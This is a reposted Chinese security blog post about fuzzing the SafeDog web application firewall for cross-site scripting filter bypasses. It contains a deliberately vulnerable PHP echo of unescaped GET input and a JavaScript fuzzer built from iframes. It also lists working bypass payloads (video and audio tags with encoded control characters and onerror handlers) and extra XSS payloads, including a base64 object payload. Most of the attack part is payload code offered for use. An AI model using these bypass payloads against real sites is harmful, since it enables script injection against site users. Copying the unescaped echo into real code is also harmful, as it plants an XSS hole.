ByPass安全狗XSS的Fuzz思路及实现

  • A+
所属分类:安全文章


声明
  由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,米斯特安全团队以及文章作者不为此承担任何责任。

  米斯特安全团队拥有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经米斯特安全团队允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。


  本文作者:米斯特安全团队-Web安全组-Xenc

思路

  XSS本质上是JS,但JS代码往往要在<script>标签内或者在 “On” 事件和 “javascript” 伪协议内才可以执行,往往挖掘XSS的时候我们会插入一个标签来测试是否过滤了<>,来进行下一步操作。然后用js去动态添加iframe,src为fuzz xss的地址,通过alert的数字来定位payload

所以我们首先是需要了解HTML标签的结构,可以查看前面的 浏览器渲染原理  标签由<标签名控制字符属性名数据值事件名事件值>构成(我觉得,如果存在错误的话谅解一下)On 事件实际是事件名

开始表演

标签表达式: <标签名 控制字符="" 属性名="数据值" 事件名="事件值">

将这些标签名 控制字符 属性名 数据值 事件名 事件值放在数组上以便使用

FUZZING

我在本地搭建了好了环境 php文件: index.php:

<?phpecho $_GET[fuzz];?>

dog:

ByPass安全狗XSS的Fuzz思路及实现

通过burp来测试一下安全狗过滤了哪些标签

ByPass安全狗XSS的Fuzz思路及实现

发现有这些标签是没有被过滤的

a b q br dd dl dt h1 h2 h3 h4 h5 h6 hr bdi bdo big del dfn dir div kbd map var wbr abbr area base body head html main mark menu meta aside audio meter video applet button dialog header keygen acronym address article details basefont datalist menuitem blockquote

控制字符

%09 %00 %0d %0a

太多就放这几个就可以了

属性名:

onload onerror

同上

然后我们使用js来动态添加iframe来加载我们的payload code:

var i,j,k,xss,f=0;var ons = ["onload","onerror"];var labs = ["a","b","q","br","dd","dl","dt","h1","del","abbr","video","base","audio","details"];var hexs= ["%09","%00","%0d","%0a"];for(i=0;i<labs.length;i++){    for(j=0;j<hexs.length;j++){        for(k=0;k<ons.length;k++){            xss = f+'<'+labs[i]+hexs[j]+ons[k]+"=alert("+f+") src=a>a";            var body = document.getElementsByTagName("body");            var div = document.createElement("div");            div.innerHTML = f+"<iframe src="http://127.0.0.1/index.php?fuzz="+xss+""></iframe>";            document.body.appendChild(div);            f = f+1;        }    }}

我这边选取了几个标签和事件还有控制字符,因为太多的话请求过大,事件太久了,证明一下思路即可

因为很多onloadonerror都是和src属性名配合使用的,所以我在xss payload标签上添加了src

然后放在浏览器测试:

ByPass安全狗XSS的Fuzz思路及实现

很快我们就收获了几个可以绕过安全狗的xss payload 然后根据alert出来的值快速定位payload地址 得到了两个标签下的payload

<video%09onerror=alert(81) src=a><video%0donerror=alert(85) src=a><audio%09onerror=alert(97) src=a><audio%0donerror=alert(101) src=a><audio%0aonerror=alert(103) src=a>

还有没复制全,证明了一下这个思路是可行的,而且我们也收获了一些bypass safedog的xss payload

附赠几个payload:

<dd%09onclick=alert(1)><object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object><svg onload="javascript:alert(1)" xmlns="http://www.w3.org/2000/svg"></svg><img/11111111111111111111111111111/src=x/onerror=alert(1)><input onclick=alert(1) value=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa>


本文始发于微信公众号(米斯特安全团队):ByPass安全狗XSS的Fuzz思路及实现

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: